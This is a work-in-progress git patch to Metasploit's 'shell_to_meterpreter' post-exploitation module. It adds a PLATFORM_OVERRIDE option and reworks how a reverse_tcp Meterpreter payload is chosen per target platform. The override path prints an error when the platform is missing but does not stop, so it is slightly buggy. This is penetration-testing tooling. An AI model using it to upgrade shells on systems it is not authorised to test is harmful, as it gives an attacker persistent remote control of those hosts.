From 2d22694194c21631dfd96d6321a2aaf627f9098c Mon Sep 17 00:00:00 2001 From: Zach Goldman Date: Thu, 2 Nov 2023 11:46:34 -0500 Subject: [PATCH] shell_to_met wip --- .../post/multi/manage/shell_to_meterpreter.md | 4 + .../post/multi/manage/shell_to_meterpreter.rb | 116 +++++++++--------- 2 files changed, 65 insertions(+), 55 deletions(-) diff --git a/documentation/modules/post/multi/manage/shell_to_meterpreter.md b/documentation/modules/post/multi/manage/shell_to_meterpreter.md index 66a28893a746..155ec2dfb36d 100644 --- a/documentation/modules/post/multi/manage/shell_to_meterpreter.md +++ b/documentation/modules/post/multi/manage/shell_to_meterpreter.md @@ -25,6 +25,10 @@ The LPORT option is also for the reverse Meterpreter you are upgrading to. This is an advanced option. If you don't want to use the default reverse Meterpreter, then you can use this. +**PLATFORM_OVERRIDE** + +Used in conjunction with `PAYLOAD_OVERRIDE`. Use this to specify the platform the payload should run on. + ## Scenarios **Using sessions -u** diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index e4abf1048d50..fe06661e322c 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -43,6 +43,8 @@ def initialize(info = {}) [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]), OptString.new('PAYLOAD_OVERRIDE', [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]), + OptString.new('PLATFORM_OVERRIDE', + [false, 'Define the platform to use.', nil]), OptString.new('BOURNE_PATH', [false, 'Remote path to drop binary']), OptString.new('BOURNE_FILE', @@ -81,57 +83,74 @@ def run lport = datastore['LPORT'] # Handle platform specific variables and settings - case session.platform - when 'windows', 'win' - platform = 'windows' - lplat = [Msf::Platform::Windows] - arch = get_os_architecture - case arch - when ARCH_X64 - payload_name = 'windows/x64/meterpreter/reverse_tcp' - psh_arch = 'x64' - when ARCH_X86 - payload_name = 'windows/meterpreter/reverse_tcp' - psh_arch = 'x86' - else - unless datastore['PAYLOAD_OVERRIDE'] + if datastore['PAYLOAD_OVERRIDE'] + unless datastore['PLATFORM_OVERRIDE'] + print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE]') + end + payload_name = datastore['PAYLOAD_OVERRIDE'] + payload_info = payload_name.split('/') + payload = framework.payloads.create(payload_name) + platform = datastore['PLATFORM_OVERRIDE'] + unless payload + print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.') + return nil + end + if platform.downcase == 'windows' + psh_arch = payload.arch + end + lplat = payload.platform.platforms + larch = payload.arch + else + case session.platform + when 'windows', 'win' + platform = 'windows' + lplat = [Msf::Platform::Windows] + arch = get_os_architecture + case arch + when ARCH_X64 + payload_name = 'windows/x64/meterpreter/reverse_tcp' + psh_arch = 'x64' + when ARCH_X86 + payload_name = 'windows/meterpreter/reverse_tcp' + psh_arch = 'x86' + else print_error('Target is running Windows on an unsupported architecture such as Windows ARM!') return nil end - end - larch = [arch] - vprint_status('Platform: Windows') - when 'osx' - platform = 'osx' - payload_name = 'osx/x64/meterpreter/reverse_tcp' - lplat = [Msf::Platform::OSX] - larch = [ARCH_X64] - vprint_status('Platform: OS X') - when 'solaris' - platform = 'python' - payload_name = 'python/meterpreter/reverse_tcp' - vprint_status('Platform: Solaris') - else - # Find the best fit, be specific with uname to avoid matching hostname or something else - target_info = cmd_exec('uname -ms') - if target_info =~ /linux/i && target_info =~ /86/ - # Handle linux shells that were identified as 'unix' - platform = 'linux' - payload_name = 'linux/x86/meterpreter/reverse_tcp' - lplat = [Msf::Platform::Linux] - larch = [ARCH_X86] - vprint_status('Platform: Linux') - elsif target_info =~ /darwin/i + larch = [arch] + vprint_status('Platform: Windows') + when 'osx' platform = 'osx' payload_name = 'osx/x64/meterpreter/reverse_tcp' lplat = [Msf::Platform::OSX] larch = [ARCH_X64] vprint_status('Platform: OS X') - elsif remote_python_binary - # Generic fallback for OSX, Solaris, Linux/ARM + when 'solaris' platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' - vprint_status('Platform: Python [fallback]') + vprint_status('Platform: Solaris') + else + # Find the best fit, be specific with uname to avoid matching hostname or something else + target_info = cmd_exec('uname -ms') + if target_info =~ /linux/i && target_info =~ /86/ + # Handle linux shells that were identified as 'unix' + platform = 'linux' + payload_name = 'linux/x86/meterpreter/reverse_tcp' + lplat = [Msf::Platform::Linux] + larch = [ARCH_X86] + vprint_status('Platform: Linux') + elsif target_info =~ /darwin/i + platform = 'osx' + payload_name = 'osx/x64/meterpreter/reverse_tcp' + lplat = [Msf::Platform::OSX] + larch = [ARCH_X64] + vprint_status('Platform: OS X') + elsif remote_python_binary + # Generic fallback for OSX, Solaris, Linux/ARM + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + vprint_status('Platform: Python [fallback]') + end end end @@ -140,19 +159,6 @@ def run return nil end - if datastore['PAYLOAD_OVERRIDE'] - payload_name = datastore['PAYLOAD_OVERRIDE'] - payload_info = payload_name.split('/') - payload = framework.payloads.create(payload_name) - - if payload_info.first == 'windows' - psh_arch = payload.arch - else - lplat = payload.platform.platforms - larch = payload.arch - end - end - vprint_status("Upgrade payload: #{payload_name}") payload_data = generate_payload(lhost, lport, payload_name) @@ -169,7 +175,7 @@ def run end end - case platform + case platform.downcase when 'windows' if session.type == 'powershell' template_path = Rex::Powershell::Templates::TEMPLATE_DIR